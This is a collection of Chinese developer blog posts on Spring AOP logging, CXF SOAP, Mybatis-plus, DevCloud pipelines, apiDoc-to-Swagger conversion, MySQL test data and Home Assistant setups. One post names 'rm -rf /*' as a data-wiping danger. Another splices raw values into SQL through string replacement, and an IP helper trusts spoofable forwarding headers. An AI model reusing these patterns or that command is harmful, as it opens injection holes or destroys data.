        if (myLog != null) {
            String value = myLog.value();
            sysLog.setOperation(value);//保存获取的操作
        }

        //获取请求的类名
        String className = joinPoint.getTarget().getClass().getName();
        //获取请求的方法名
        String methodName = method.getName();
        sysLog.setMethod(className + "." + methodName);

        //请求的参数
        Object[] args = joinPoint.getArgs();
        //将参数所在的数组转换成json
        String params = JSON.toJSONString(args);
        sysLog.setParams(params);

        sysLog.setCreateDate(new Date());
        //获取用户名
        sysLog.setUsername(ShiroUtils.getUserEntity().getUsername());
        //获取用户ip地址
        HttpServletRequest request = HttpContextUtils.getHttpServletRequest();
        sysLog.setIp(IPUtils.getIpAddr(request));

        //调用service保存SysLog实体类到数据库
        sysLogService.save(sysLog);
    }
}

最后直接在例如Controller中使用即可

import com.example.aspect.MyLog;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
@RequestMapping("/sys")
public class SysMenuController {

    @MyLog(value = "测试")
    @PostMapping("/test")
    public String test(@RequestBody String test) {
        System.out.println(test);
        return "index";
    }
}

下面是几个Utils

HttpContextUtils:

import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;

public class HttpContextUtils {
    public static HttpServletRequest getHttpServletRequest() {
        return ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
    }
}

IPUtils:

import javax.servlet.http.HttpServletRequest;

public class IPUtils {
    public static String getIpAddr(HttpServletRequest request) {
        String ip = request.getHeader("x-real-ip");
        if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getHeader("x-forwarded-for");
            if (ip != null) {
                ip = ip.split(",")[0].trim();
            }
        }
        if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getHeader("Proxy-Client-IP");
        }
        if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getHeader("WL-Proxy-Client-IP");
        }
        if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getRemoteAddr();
        }
        return ip;
    }
}

ShiroUtils:

import com.example.entity.User;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;

public class ShiroUtils {

    public static HttpSession getSession(){
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
        HttpSession httpSession = request.getSession();
        return httpSession;
    }

    public static User getUserEntity(){
        return (User)getSession().getAttribute("user");
    }

}

SpringBoot整合CFX框架

七仔(Github) — Tue, 22 Sep 2020 13:51:07 GMT

SpringBoot整合CFX框架

CXF框架

Apache CXF是一个开源的WebService框架，CXF可以用来构建和开发WebService，些服务可以支持多种协议，比如：SOAP、POST/HTTP、HTTP，这篇文章讲的是SOAP这个协议使用CXF框架整合进入SpringBoot

Maven引入

<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-spring-boot-starter-jaxws</artifactId>
    <version>3.2.7</version>
</dependency>

config类配置

import com.hospital.test.cxf.ws.TestServices;
import org.apache.cxf.Bus;
import org.apache.cxf.bus.spring.SpringBus;
import org.apache.cxf.jaxws.EndpointImpl;
import org.apache.cxf.transport.servlet.CXFServlet;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.web.servlet.ServletRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import javax.xml.ws.Endpoint;

@Configuration
public class CxfConfig {
    @Autowired
    private TestServices testServices;

    @SuppressWarnings("all")
    @Bean
    public ServletRegistrationBean wsServlet() {
        ServletRegistrationBean bean = new ServletRegistrationBean(new CXFServlet(), "/soap/*");
        return bean;
    }

    @Bean(name = Bus.DEFAULT_BUS_ID)
    public SpringBus springBus() {
        return new SpringBus();
    }

    @Bean
    public Endpoint testServices() {
        EndpointImpl endpoint = new EndpointImpl(springBus(), testServices);
        endpoint.publish("/testServices");
        return endpoint;
    }
}

实现

TestServices：

import javax.jws.WebMethod;
import javax.jws.WebParam;
import javax.jws.WebResult;
import javax.jws.WebService;

@WebService(name = "TestServices", targetNamespace = "http://ws.cxf.test.baby7blog.com/")
public interface TestServices {
    /** 通用接口，用于平台服务的补充
     * @param in 一个请求
     * @return 根据请求内容返回相关内容
     */
    @WebMethod(operationName="exec")
    @WebResult(name = "ret", targetNamespace = "http://ws.cxf.test.baby7blog.com/")
    String exec(@WebParam(name = "in") String in);
}

TestServicesImpl：

import com.hospital.budget.business.handler.BusinessHandler;
import com.hospital.budget.cxf.ws.BudgetServices;
import javax.jws.WebService;
import javax.xml.ws.BindingType;
import javax.xml.ws.soap.SOAPBinding;
import lombok.extern.log4j.Log4j2;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

@WebService(serviceName = "BudgetServices",
            portName = "BudgetServices",
            targetNamespace = "http://ws.cxf.test.baby7blog.com/",
            endpointInterface = "com.hospital.budget.cxf.ws.BudgetServices")
@BindingType(value = SOAPBinding.SOAP12HTTP_BINDING)
@Component
@Log4j2
public class BudgetServicesImpl implements BudgetServices {

    @Autowired
    BusinessHandler handler;

    @Override
    public String exec(String in) {
        String ret;
        try {
            ret = handler.exec(in);
        } catch (Exception e) {
            log.error(e.getMessage());
            ret = "<Response><code>-1</code><msg>to be illegal to do sth;</msg></Response>";
        }
        return ret;
    }
}

Mybatis-plus子查询的一个思路

七仔(Github) — Tue, 22 Sep 2020 05:52:35 GMT

Mybatis-plus子查询的一个思路

思路

思路就是QueryWrapper中的getCustomSqlSegment()这个函数，其实在Mybatis的xml文件中${ew.customSqlSegment}的customSqlSegment也是用的这个函数，使用这个函数可以做一个小的QueryWrapper然后getCustomSqlSegment()转为字符串，最后替换其中的#{}（忘了是什么了，后面补上），然后在大的QueryWrapper里用inSql函数添加这个转换后的字符串

伪代码（后面补上完整的）

QueryWrapper<Test> queryWrapper = new QueryWrapper<>();
QueryWrapper<Test> childQueryWrapper = new QueryWrapper<>();
childQueryWrapper.eq("CESHI", value);
String childString = childQueryWrapper.getCustomSqlSegment();
childString = childString.replace("#{}", value);
queryWrapper.inSql("NEW", childString);

使用华为云DevCloud进行项目自动化构建部署

七仔(Github) — Mon, 21 Sep 2020 05:51:33 GMT

使用华为云DevCloud进行项目自动化构建部署

介绍

华为云DevCloud提供了许许多多的功能，我们取其中的代码仓库、编译构建、部署、发布、流水线的功能其中代码仓库可以使用外部仓库，然后在代码仓库上传对应的源代码，新建对应的构建任务，构建后生成的文件存储在发布视图中，然后添加服务器信息并新建部署任务，最后组合1.代码仓库 2.编译构建 3.发布 4.部署为一条完整的流水线，并可以设置由代码仓库的提交更新或定时为条件进行触发对了，本篇文章针对会进行手动部署的

SpringBoot流水线

前提

服务器安装好了对应的Jdk、Mysql

构建

第一步选【Maven构建】，选择工具对应的Maven版本，命令内容是：

mvn package -Dmaven.test.skip=true -U -e -X -B

第二步选【上传软件包到软件发布库】，构建包路径填：

**/target/这里是生成包的名字.jar

部署

第一步选【华为云从构建任务获得文件】，源类型是构建任务，主机组没有的新建一个，构建任务选择上一步的构建任务，构建序号为Latest，下载到主机的部署目录是你自己要填的服务器路径。第二步选【启动/停止SpringBoot服务】，服务类型是停止，服务绝对路径是，上一步选的路径再加上发布文件中的名字：***.jar 第三步选【启动/停止SpringBoot服务】，服务类型是启动，路径与上一步一样

SpringCloud流水线

构建

第一步与SpringBoot相同，SpringBoot是打成一个jar包，SpringCloud有好几个执行的jar包，所以构建的第二到N步是选择对应的jar包上传到软件发布库

部署

第一步与SprintBoot相同，多出来的就是停止/启动多个服务了

Vue流水线

前提

服务器安装好了Nginx并配置好

构建

第一步选【npm构建】，选择对应的工具版本，命令内容是(可根据需要修改)：

export PATH=$PATH:/root/.npm-global/bin
#设置Devcloud镜像仓加速构建
npm config set registry https://mirrors.huaweicloud.com/repository/npm/
npm config set prefix '~/.npm-global'
#如需安装node-sass
#npm config set sass_binary_site https://repo.huaweicloud.com/node-sass/
#npm install node-sass
#加载依赖
npm install
#默认构建
npm run build

第二步选【执行shell命令】，选择一个版本（似乎只有一个版本），命令内容是（其实就是打个压缩包）：

tar -cvf dist.zip dist

第三步选【上传软件包到软件发布库】，构建包路径是：

./dist.zip

部署

第一步选【删除文件】，删除路径应该是你Nginx中前端项目的路径，加/**表示删除该目录下所有文件，千万不要前面什么都没有就写了个/**上去，我不知道会不会跟rm -rf /*一样把所有文件都干掉了第二步选【选择部署来源】，依然是构建任务最后一个版本，部署目录是Nginx前端项目路径第三步选【执行shell命令】，例如命令内容为（解压）：

cd /usr/share/nginx/前端项目名
tar -xvf /usr/share/nginx/前端项目名/dist.zip
mv dist/* /usr/share/nginx/前端项目名/

python处理apiDoc转swagger

七仔(Github) — Thu, 10 Sep 2020 09:49:01 GMT

python处理apiDoc转swagger

需要转换的接口

现在我需要转换的接口全是nodejs写的数据，而且均为post传输的json格式接口

apiDoc格式

apiDoc代码中的格式如下：

/**
 * @api {方法} 路径 标题
 * @apiGroup Group
 * @apiDescription 描述这个API的信息
 *
 * @apiParam {String} userName 用户名
 * @apiParamExample {json} request-example
 * {
 *  "userName": "Eve"
 * }
 *
 * @apiError {String} message 错误信息
 * @apiErrorExample  {json} error-example
 * {
 *   "message": "用户名不存在"
 * }
 * 
 * 
 * @apiSuccess {String} userName 用户名
 * @apiSuccess {String} createTime 创建时间
 * @apiSuccess {String} updateTime 更新时间
 * @apiSuccessExample  {json} success-example
 * {
 *   "userName": "Eve",
 *   "createTime": "1568901681"
 *   "updateTime": "1568901681"
 * }
 */function getUserInfo(username) {
  // 假如这个函数是根据用户名返回用户信息的
}

使用npm安装apidoc插件：

npm install apidoc

再新建对应的apidoc.json，格式如下：

{
  "name": "文档名",
  "version": "版本号",
  "description": "解释",
  "title": "标题",
  "url" : "地址"
}

然后在apidoc.json路径下执行命令可以生成接口文档（src是接口代码文件夹，apidoc是生成文档的文件夹）：

apidoc -i src/ -o apidoc/

生成后可以在apidoc文件夹中打开index.html查看生成的接口文档，生成文档时会生成一个api_data.json，下面会用到

swagger格式

这里我们暂时只需要关注参数为json的接口格式

{
    "swagger": "2.0",
    "info": {
        "description": "1.0版本接口文档",
        "version": "1.0.5",
        "title": "智能医疗辅助平台",
        "termsOfService": "http://swagger.io/terms/"
    },
    "host": "http://localhost:8080",
    "basePath": "/",
    "tags": [],
    "paths": {},
    "definitions": {}
}

其中path是存放接口的，tags是存放的分组名列表，definitions是实体列表（json参数）

思路

使用apidoc包生成apidoc的json格式数据，然后使用python读取出接口地址、名字、组名、输入参数格式和例子、输出参数格式和例子等，然后根据swagger格式填入对应的数据即可生成swagger的json格式我的话是会直接使用处理出的swagger的json格式的数据导入yApi中

代码

代码虽然在下面，但是是我临时着急用写的，有的地方是写死的，需要改，这里放出来主要是讲个大致的思路

import re
import json
import demjson
import decimal


# 保存时会出现byte格式问题，使用这个处理
class DecimalEncoder(json.JSONEncoder):
    def default(self, o):
        if isinstance(o, decimal.Decimal):
            return float(o)
        super(DecimalEncoder, self).default(o)


# 分析例子转json，在这里可以自己添加规则
def analyze_demjson(json_data):
    item = json_data.replace("\\n", "").replace("\\", "").replace(" ", "")
    result_item = {}
    try:
        result_item = demjson.decode(item, encoding='UTF-8')
    except:
        print(item)
    return result_item


# 获取解析apidoc数据
def get_api_doc_data(name):
    data_list = None
    group_list = {}
    with open(name, mode='r', encoding="UTF-8") as f:
        data_list = json.load(f)
    for data in data_list:
        if data['group'] in group_list:
            group_list[data['group']].append(data)
        else:
            group_list[data['group']] = [data]
    return group_list


# 转为swagger写入
def set_swagger_data(data):
    swagger_json = {
        "swagger": "2.0",
        "info": {
            "description": "1.0版本接口文档",
            "version": "1.0.5",
            "title": "智能医疗辅助平台",
            "termsOfService": "http://swagger.io/terms/"
        },
        "host": "http://localhost:8080",
        "basePath": "/",
        "tags": [],
        "paths": {},
        "definitions": {}
    }
    # 添加分组
    for group_key in data:
        swagger_json['tags'].append({
            "name": group_key,
            "description": group_key
        })
    # 添加接口信息
    # 循环分组
    for group_key in data:
        # 循环每组列表
        for interface in data[group_key]:
            parameters = {}
            if 'parameter' in interface and 'fields' in interface['parameter']:
                # 获取参数demo信息
                content = ""
                if 'examples' in interface['parameter']:
                    content = analyze_demjson(interface['parameter']['examples'][0]['content'])
                # 添加参数信息
                parameter_dict = {}
                for parameter in interface['parameter']['fields']['Parameter']:
                    parameter_type = "None"
                    if "type" in parameter:
                        parameter_type = parameter['type'].lower()
                        if parameter_type == 'number':
                            parameter_type = "integer"
                    parameter_item = {
                        "description": parameter['description'].replace('<p>', '').replace('</p>', ''),
                        "required": parameter['optional'],
                        "type": parameter_type,
                        "default": ''
                    }
                    if parameter['field'] in content:
                        parameter_item['default'] = content[parameter['field']]
                    parameter_dict[parameter['field']] = parameter_item
                parameters = {
                    "in": "body",
                    "name": interface['name'],
                    "description": interface['name'],
                    "required": "true",
                    "schema": {
                        "originalRef": interface['name'],
                        "$ref": "#/definitions/" + interface['name']
                    }
                }
                swagger_json['definitions'][interface['name']] = {
                        "type": "object",
                        "properties": parameter_dict
                    }
            # 添加返回信息
            responses = {
                "200": {
                    "description": "successful operation",
                    "schema": {
                        "originalRef": interface['name'] + "_response",
                        "$ref": "#/definitions/" + interface['name'] + "_response"
                    }
                }
            }
            schema = {
                "type": "object",
                "properties": {
                    "errcode": {
                        "type": "integer",
                        "default": 0,
                        "description": "编码，成功返回1"
                    },
                    "data": {
                        "type": "object",
                        "default": {},
                        "description": "监管对象明细,包含表头和数据内容两部分"
                    },
                    "errmsg": {
                        "type": "string",
                        "default": "ok",
                        "description": '编码提示信息，成功时返回 "ok"'
                    }
                }
            }
            # 返回例子
            if "success" in interface:
                response_example = ""
                if len(interface['success']['examples']) == 1:
                    response_example = analyze_demjson(interface['success']['examples'][0]['content'])
                else:
                    response_example = analyze_demjson(interface['success']['examples']['content'])
                if 'data' in response_example and response_example['data'] != {}:
                    schema['properties']['data'] = response_example['data']
            swagger_json['definitions'][interface['name'] + "_response"] = schema
            # 加入
            swagger_json['paths'][interface['url']] = {
                interface['type']: {
                    "tags": [group_key],
                    "summary": interface['title'].replace(interface['url'] + '-', ''),
                    "description": interface['title'],
                    "consumes": [
                        "application/json"
                    ],
                    "produces": [
                        "application/json"
                    ],
                    "parameters": [parameters],
                    "responses": responses
                }}
    # 写入json文件
    with open('swagger_data.json', 'w', encoding="UTF-8") as json_file:
        json.dump(swagger_json, json_file, cls=DecimalEncoder, indent=4, ensure_ascii=False)


if __name__ == '__main__':
    group_data = get_api_doc_data('api_data.json')
    set_swagger_data(group_data)

使用MySQL存储过程生成大量用户数据

七仔(Github) — Tue, 25 Aug 2020 15:23:18 GMT

使用MySQL存储过程生成大量用户数据

delimiter //
DROP PROCEDURE IF EXISTS user_proc_batch_insert;
CREATE PROCEDURE user_proc_batch_insert(in max_num int)
BEGIN
DECLARE i int;   -- 声明变量【循环index】
-- 声明变量(主键：雪花ID)
DECLARE user_id varchar(36);
-- 声明变量(推荐人用户ID)
DECLARE parent_user_id varchar(36);
-- 声明变量(昵称)
DECLARE nickname varchar(255);
-- 声明变量(手机号码)
DECLARE mobile varchar(11);
-- 声明变量(性别：1-男、2-女、3-其他)
DECLARE gender tinyint;
-- 声明变量(用户微信号)
DECLARE wechat_id varchar(100);
-- 声明变量(微信OpenID)
DECLARE wechat_openid varchar(50);
-- 声明变量(微信UnionID)
DECLARE wechat_unionid varchar(50);
-- 声明变量(用户头像)
DECLARE avatar varchar(255);
-- 声明变量(注册时间)
DECLARE register_time datetime;
-- 声明变量(注册IP地址)
DECLARE register_ip varchar(20);
-- 声明变量(生日)
DECLARE birthday varchar(20);
-- 声明变量(登录时间)
DECLARE login_time datetime;
-- set autocommit = 0; -- 禁止自动提交sql
SET i=1;
WHILE i < max_num DO
    -- 循环index+1
    SET i=i+1;
    -- 赋值(主键：雪花ID)
    SET user_id = REPLACE(UUID(),'-','');
--  SET parent_user_id = NULL;
--  赋值(推荐人用户ID)[五分之一的几率为空]
    IF round(rand()*(5-1)+1)=2 THEN
        SET parent_user_id = NULL;
    ELSE
        SET parent_user_id = (SELECT t1.id FROM `shop_user` AS t1 JOIN (SELECT concat(conv(ROUND(RAND() * 281474976710655),10,16),'ffffffffffffffffffff') AS id) AS t2 WHERE t1.id >= t2.id ORDER BY t1.id LIMIT 1);
        UPDATE shop_user SET follow_num = follow_num + 1 WHERE id = parent_user_id;
    END IF;
    -- 赋值(昵称)
    SET nickname = concat(
        substring('赵钱孙李周吴郑王冯陈诸卫蒋沈韩杨朱秦尤许何吕施张孔曹严华金魏陶姜戚谢邹喻柏水窦章云苏潘葛奚范彭郎鲁韦昌马苗凤花方俞任袁柳酆鲍史唐费廉岑薛雷贺倪汤滕殷罗毕郝邬安常乐于时傅皮齐康伍余元卜顾孟平黄和穆萧尹姚邵堪汪祁毛禹狄米贝明臧计伏成戴谈宋茅庞熊纪舒屈项祝董粱杜阮蓝闵席季麻强贾路娄危江童颜郭梅盛林刁钟徐邱骆高夏蔡田樊胡凌霍虞万支柯咎管卢莫经房裘干解应宗丁宣贲邓郁单杭洪包诸左石崔吉钮龚',
        floor(1+190*rand()),1),
        substring('明国华建文平志伟东海强晓生光林小民永杰军金健一忠洪江福祥中正振勇耀春大宁亮宇兴宝少剑云学仁涛瑞飞鹏安亚泽世汉达卫利胜敏群波成荣新峰刚家龙德庆斌辉良玉俊立浩天宏子松克清长嘉红山贤阳乐锋智青跃元武广思雄锦威启昌铭维义宗英凯鸿森超坚旭政传康继翔栋仲权奇礼楠炜友年震鑫雷兵万星骏伦绍麟雨行才希彦兆贵源有景升惠臣慧开章润高佳虎根远力进泉茂毅富博霖顺信凡豪树和恩向道川彬柏磊敬书鸣芳培全炳基冠晖京欣廷哲保秋君劲轩帆若连勋祖锡吉崇钧田石奕发洲彪钢运伯满庭申湘皓承梓雪孟其潮冰怀鲁裕翰征谦航士尧标洁城寿枫革纯风化逸腾岳银鹤琳显焕来心凤睿勤延凌昊西羽百捷定琦圣佩麒虹如靖日咏会久昕黎桂玮燕可越彤雁孝宪萌颖艺夏桐月瑜沛诚夫声冬奎扬双坤镇楚水铁喜之迪泰方同滨邦先聪朝善非恒晋汝丹为晨乃秀岩辰洋然厚灿卓杨钰兰怡灵淇美琪亦晶舒菁真涵爽雅爱依静棋宜男蔚芝菲露娜珊雯淑曼萍珠诗璇琴素梅玲蕾艳紫珍丽仪梦倩伊茜妍碧芬儿岚婷菊妮媛莲娟一',
        floor(1+400*rand()),
        1),
        substring('明国华建文平志伟东海强晓生光林小民永杰军金健一忠洪江福祥中正振勇耀春大宁亮宇兴宝少剑云学仁涛瑞飞鹏安亚泽世汉达卫利胜敏群波成荣新峰刚家龙德庆斌辉良玉俊立浩天宏子松克清长嘉红山贤阳乐锋智青跃元武广思雄锦威启昌铭维义宗英凯鸿森超坚旭政传康继翔栋仲权奇礼楠炜友年震鑫雷兵万星骏伦绍麟雨行才希彦兆贵源有景升惠臣慧开章润高佳虎根远力进泉茂毅富博霖顺信凡豪树和恩向道川彬柏磊敬书鸣芳培全炳基冠晖京欣廷哲保秋君劲轩帆若连勋祖锡吉崇钧田石奕发洲彪钢运伯满庭申湘皓承梓雪孟其潮冰怀鲁裕翰征谦航士尧标洁城寿枫革纯风化逸腾岳银鹤琳显焕来心凤睿勤延凌昊西羽百捷定琦圣佩麒虹如靖日咏会久昕黎桂玮燕可越彤雁孝宪萌颖艺夏桐月瑜沛诚夫声冬奎扬双坤镇楚水铁喜之迪泰方同滨邦先聪朝善非恒晋汝丹为晨乃秀岩辰洋然厚灿卓杨钰兰怡灵淇美琪亦晶舒菁真涵爽雅爱依静棋宜男蔚芝菲露娜珊雯淑曼萍珠诗璇琴素梅玲蕾艳紫珍丽仪梦倩伊茜妍碧芬儿岚婷菊妮媛莲娟一',
        floor(1+400*rand())
        ,1)
    );
    -- 赋值(手机号码)
    SET mobile = concat('1',substring(cast(3 + (rand() * 10) % 7 AS char(50)), 1, 1), right(left(trim(cast(rand() AS char(50))), 11), 9));
    -- 赋值(性别：1-男、2-女、3-其他)
    SET gender = round(rand()*(3-1)+1);
    -- 赋值(用户微信号)[6-20位数字或字母]
    SET wechat_id = SUBSTRING(REPLACE(UUID(),'-',''),1,round(rand()*(20-6)+6));
    -- 赋值(微信OpenID)[28位数字或字母]
    SET wechat_openid = SUBSTRING(REPLACE(UUID(),'-',''),1,28);
    -- 赋值(微信OpenID)[28位数字或字母]
    SET wechat_unionid = SUBSTRING(REPLACE(UUID(),'-',''),1,28);
    -- 赋值(用户头像)
    SET avatar = "goods/00e2df50f4824b6995f432d041777a72.jpg";
    -- 赋值(注册时间)(2020-3-1向后60天)
    SET register_time = DATE_ADD('2020-3-1 00:00:00', INTERVAL FLOOR(1 + (RAND() * 60*60*24*30*2)) SECOND);
    -- 赋值(注册IP地址)
    SET register_ip = concat(round(rand()*(254-0)+0),'.',round(rand()*(254-0)+0),'.',round(rand()*(254-0)+0),'.',round(rand()*(254-0)+0));
    -- 赋值(生日)(1960-1-1向后80年)
    SET birthday = DATE_ADD('1960-1-1 00:00:00', INTERVAL FLOOR(1 + (RAND() * 60*60*24*30*12*80)) SECOND);
    -- 赋值(登录时间)(2020-5-2向后10天)
    SET login_time = DATE_ADD('2020-5-2 00:00:00', INTERVAL FLOOR(1 + (RAND() * 60*60*24*10)) SECOND);
    INSERT INTO shop_user(id,parent_user_id,nickname,mobile,gender,wechat_id,wechat_openid,wechat_unionid,avatar,register_time,register_ip,birthday,login_time)VALUES (user_id,parent_user_id,nickname,mobile,gender,wechat_id,wechat_openid,wechat_unionid,avatar,register_time,register_ip,birthday,login_time);
END WHILE;
-- commit; -- 待循环完毕后再进行提交，即整体提交整体的 sql，这样可以提高效率，否则循环里会一次一次的去提交sql,数据多了会很慢。
END//
delimiter ;

【Home Assistant】使用GPSLogger记录位置

七仔(Github) — Fri, 03 Jul 2020 15:31:11 GMT

【Home Assistant】使用GPSLogger记录位置

我用的hass版本是0.111.4，对于GPSLogger有相关说明，也可以跳过不看

启动Hass，点击配置->集成->右下角添加

找到GPSLogger，添加，记录下提供的一串代码

下载GPSLogger应用：打开 https://github.com/mendhak/gpslogger/releases

找到最新的apk下载安装到手机（我安装的时候是106版本）

打开应用，

点击左上角->常规选项->打开开机自启动和在应用程序启动时启动->返回->记录细节->记录到自定义URL

url:

http://（这里填外网地址）/api/webhook/（这里填前面拿到的代码）

HTTP内容：

latitude=%LAT&longitude=%LON&device=%SER&accuracy=%ACC&battery=%BATT&speed=%SPD&direction=%DIR&altitude=%ALT&provider=%PROV&activity=%ACT

HTTP头：

Content-Type: application/x-www-form-urlencoded

HTTP方法：

POST

Base Authenication：填你的hass的用户名密码

填完退出，这时候Home Assistant应该就会增加一个实体，就成功了

这里讲一下hass的ip就是你安装的主机ip，端口一般是8123，GPSLogger需要外网访问，没有公网IP的话，一般需要做内网穿透，这里可以参考我写的另一篇博客荣耀路由器Pro2的内网穿透方案

荣耀路由器Pro2内网穿透步骤（花生壳）

七仔(Github) — Thu, 02 Jul 2020 05:44:52 GMT

荣耀路由器Pro2内网穿透步骤（花生壳）

提前说一下，虽然可以一直使用，但是需要花六块钱，还要实名认证

由于我的HomeAssistant需要做一个公网访问，所以想到了对路由器做内网穿透，中间踩了点坑，下面分享一下步骤

在手机上下载“智慧生活”和“花生壳管理”两个APP，不过有这款路由器的人应该都下载了“智慧生活”APP

打开“智慧生活”APP，没有添加路由器的点击右上角添加你的路由器设备，点开路由设备，下拉有个服务推荐，点击下面的“＋”，找到极客工具->花生壳，然后下载安装

退到路由器界面点击花生壳插件，这时候有个账号登录页面，会默认提供一个账号名，一般应该是HWRY开头的，默认密码admin，登录进去初始化一下，然后准备使实名认证

！！！这里有要注意的，必须用它默认给你的账号，如果你以前有花生壳账号也不要用

然后点开“花生壳管理”APP，点击我的，点击实名认证，如果你有认证过的账号，也可以给它权限，具体的话应用里都有提示

实名认证后打开“智慧生活”里的花生壳插件，点击管理->内网穿透->添加映射，具体的你想怎么映射就自己选择吧

【“魔镜”系列】节假日信息

七仔(Github) — Mon, 29 Jun 2020 06:39:29 GMT

【“魔镜”系列】节假日信息

格式

存储在数据库中，包含日期、名字、所属节假日、休息天数、是否为节假日、是否为向前调休等字段

显示

封装成了个Vue插件，调用后端获取节假日信息然后显示到列表中，具体代码如下：

<template>
    <div>
        <div style="border:1px solid #FFFFFF;width: 310px;margin-left: 0;margin-bottom: 5px"/>
        <ul v-for="(timor,index) in timorList" :key="timor" style="width: 310px;margin-left: 0;padding-left: 0px">
            <li v-if="index < 12" style="font-family:'BebasNeueRegular',Arial,Helvetica,sans-serif;text-shadow: 0 0 5px #00c6ff;color: #fff;font-size: 23px;">
                <span>{{timor.name}}</span>
                <span style="float: right">{{timor.date}}</span>
            </li>
            <div v-if="index <11" style="border:0.5px dashed #666666;width: 100%;"/>
        </ul>
    </div>
</template>

<script>
    import { getList } from '@/api/timor'

    export default {
        name: "Timor",
        data() {
            return {
                timorList: [],
                query: {
                    current:1,
                    size:20
                }
            }
        },
        methods:{
            getData(){
                getList(this.query).then(res => {
                    // this.timorList = res.holiday;
                    if(res.code === 0){
                        for(let holiday in res.data.records){
                            let timor = {
                                name:res.data.records[holiday].name,
                                date:res.data.records[holiday].date.substring(0, 10)
                            };
                            this.timorList.push(timor)
                        }
                    }
                });
            }
        },
        mounted() {
            this.getData();
        }
    }
</script>

<style scoped>
    li {
        list-style-position: inside;
        list-style-image: url('/icon.png');
    }
</style>

未来版本

我来手动更新节假日信息显然不太可能，我可没那些时间，有个免费获取节假日信息的API，后续会接入，网址如下：提莫的神秘商店

【“魔镜”系列】智能家居控制

七仔(Github) — Mon, 29 Jun 2020 06:27:41 GMT

【“魔镜”系列】智能家居控制

开源的Home Assistant家居控制系统

Home Assistant(hass)是一个开源的基于Python的智能家居控制系统，可以连接很多品牌的智能家居并且控制，并且相对于那些品牌的智能家居有更多的自由和控制性。

魔镜和Home Assistant之间的通信

Home Assistant有完整的Rest API，点击这里进入，魔镜系统通过Rest格式的http与hass进行通信使用这些API需要有权限，就是header要带一个token，可以在你的hass中获取长期的token（长期访问令牌），该令牌有十年有效期，token格式见上述网址

我的智能场景（自动化）

回家和离家

我的智能家居设备都会连接到路由器，手机也会连接到路由器，因为每次连接到路由器这些设备的的IP都不会改变，通过ping或者hass的nmap_tracker插件可以判断这些设备在不在线，因为我的手机常年保持WIFI开启状态，回家会自动连接，离家也会因为距离断开，可以通过这个判断我是否在家（5秒钟判断一次，20秒没连上就判断为离家状态）如果回家：播放欢迎回家语音并且打开顶灯然后打开魔镜系统如果离家：关闭所有设备且关闭魔镜系统关于魔镜系统的打开关闭是因为开启状态会占用快一半的3b+的cpu，比较费电，并且打开屏幕也会费电

日出和日落

hass自带一个日出日落的状态，初始化时会判断你的位置，通过这个取得日出日落时间日出：关闭顶灯日落：开启顶灯，因为我住的地方比较阴，所以设置了偏移量提前日落四十分钟执行

睡觉动作

我十二点准时睡觉，零点准时触发会关闭大灯且关闭魔镜系统

温湿度固定值提示

在温度为30和湿度90会提示“当前温湿度多少多少，求求你开开除湿机/空调吧” 其实可以做到直接控制空调和除湿机，但是我不想太强制就只做了提示

我连接的设备

米家开关

连接了两个，一个控制热水器，一个控制魔镜的屏幕开关热水器：睡觉前把热水器的烧水按钮打开但是不打开米家开关，早上躺在床上说一句“魔镜魔镜，打开热水器”就可以在床上滩一会儿，然后起来后喝热水屏幕开关：现在是控制树莓派的屏幕开关，我用剪刀测试发现通过短接两个点可以实现屏幕的开关，后续会研究研究可不可以用GPIO实现控制屏幕开关，然后把这个腾给台灯用

米家空调伴侣

有个空调伴侣的插件：源码地址，但是不支持我这个版本，所以现在以开关形式控制空调

飞利浦智能灯泡

可以调节亮度和色温，我用hass调用后发现关灯状态下需要调用两次，开灯状态下调用一次API，然后范围是：亮度[1-100]，色温[175-333]

米家万能遥控器

通过xiaomi_miio.remote_learn_command学习红外码，然后使用remote.send_command发送红外码，我可以通过hass控制电视、机顶盒、风扇这些，空调的红外码可以学习但是发射没反应不知道为什么，通过米家APP发射的可以使用

如何接入米家设备

hass接入米家设备需要取得token，米家APP的5.4.54版本有个bug，会在日志文件中打印token等信息，在手机SmartHome/logs/Plug_Devicemanager/日期/路径中找到日志文件打开可以找到json格式的数据，其中包含token、host等信息

【“魔镜”系列】DHT11传感器温湿度的获取与显示

七仔(Github) — Mon, 29 Jun 2020 05:26:15 GMT

【“魔镜”系列】DHT11传感器温湿度的获取与显示

通过DHT11获取温湿度信息

这里有我参考别人修改的获取温湿度的py文件

#!/usr/bin/python3
import RPi.GPIO as GPIO
import time


channel = 17     # 设置树莓派端口号(BCM编码)
j = 0           # 初始化计数器为0
data = []       # 初始化数据存储数组


# 初始化
def initialize():
    global channel
    GPIO.setmode(GPIO.BCM)                      # 设置gpio引脚编号模式，有两种编号模式可供选择，自己随意设置就好
    time.sleep(1)                               # 程序暂停一秒钟
    GPIO.setup(channel, GPIO.OUT)               # 设置6号口为输出模式
    GPIO.output(channel, GPIO.LOW)              # 6号口输出低电平，即发送触发信号
    time.sleep(0.02)                            # 低电平维持0.02秒
    GPIO.output(channel, GPIO.HIGH)             # 输出高电平，标志低电平结束
    GPIO.setup(channel, GPIO.IN)                # 设置端口模式为输入
    while GPIO.input(channel) is GPIO.LOW:      # 跳过初始状态的低电平
        pass
    while GPIO.input(channel) is GPIO.HIGH:     # 跳过初始状态的高电平
        pass


# 获取数据
def get_data():
    global j, data, channel
    # 进入循环
    while j < 40:                               # 仅仅存储40个数据
